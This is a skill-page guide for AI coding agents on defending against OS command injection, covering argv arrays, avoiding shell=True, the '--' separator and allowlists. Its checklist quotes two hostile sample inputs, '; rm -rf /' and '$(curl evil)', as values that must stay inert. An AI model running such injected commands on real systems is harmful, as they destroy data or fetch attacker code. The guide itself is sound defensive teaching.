# Command Injection Defense

> Run external programs without ever building a shell string from untrusted input, using argument arrays that bypass the shell entirely. Use when a program shells out to another binary, especially with any value that came from a user, a file, or the network.

- Skill: `amey-thakur/command-injection-defense` (Agent Skill)
- Install (CLI): `npx skillmds@latest add amey-thakur/command-injection-defense`
- Raw SKILL.md: https://api.skillmd.com/api/skills/amey-thakur/command-injection-defense/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: Amey-Thakur (https://skillmd.com/u/amey-thakur)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/amey-thakur/command-injection-defense

---


# Command injection defense

The moment you assemble a command as a string and hand it to a shell, every
metacharacter in it becomes live: a semicolon, backtick, `$()`, or pipe in
user input runs a second command of the attacker's choosing. Quoting and
escaping are a losing arms race against shell parsing rules. The durable fix
is to never involve a shell: pass the program and its arguments as a list so
the operating system executes exactly one binary with exactly those args.

## Method

1. **Pass an argv array, never a command string.** Use
   `subprocess.run(["convert", src, dst])` in Python, `execFile` or
   `spawn` with an args array in Node, `exec.Command("git", "clone", url)`
   in Go. The arguments reach the program verbatim, so shell metacharacters
   are inert data.
2. **Keep `shell=True` and its equivalents out.** `subprocess` with
   `shell=True`, Node `exec`, Ruby backticks, and `system("string")` all
   invoke `/bin/sh` on your string. If you did not type a literal command,
   these must not appear in the diff.
3. **Never build the string even for the array.** Do not do
   `["sh", "-c", f"convert {name}"]`: that reintroduces the shell you just
   avoided. Put each value in its own array slot so the program, not a
   shell, receives it.
4. **Separate options from operands with `--`.** Insert `--` before any
   user-controlled path or value so a filename beginning with `-` is treated
   as an operand, not a flag. This stops argument injection, the quieter
   cousin where input becomes an unintended option.
5. **Validate the value against an allowlist when it selects behavior.**
   When input picks a subcommand, a branch name, or a mode, match it against
   a fixed set of permitted values rather than passing arbitrary text, even
   through an array.
6. **Prefer a native library over shelling out.** Resolve a hostname with
   the DNS library, not `dig`; manipulate images with a binding, not a
   `convert` subprocess. No child process means no command to inject into.

## Checks

- Does every process launch pass an argument list, with zero `shell=True`,
  `exec()`, backticks, or `sh -c` on a built string?
- Would input of `; rm -rf /` or `$(curl evil)` land as a literal argument,
  doing nothing?
- Is `--` present before user-controlled operands that could look like
  flags?
- Where a native library exists, is the subprocess justified rather than
  reached for by habit?

## Boundaries

This addresses OS command execution. Injection into SQL, LDAP, XML, or
template engines is the same disease in a different interpreter and needs
that interpreter's parameterized interface. Where a value genuinely must
reach a shell feature like a pipeline, build the pipeline in code with
connected process handles rather than a shell string.

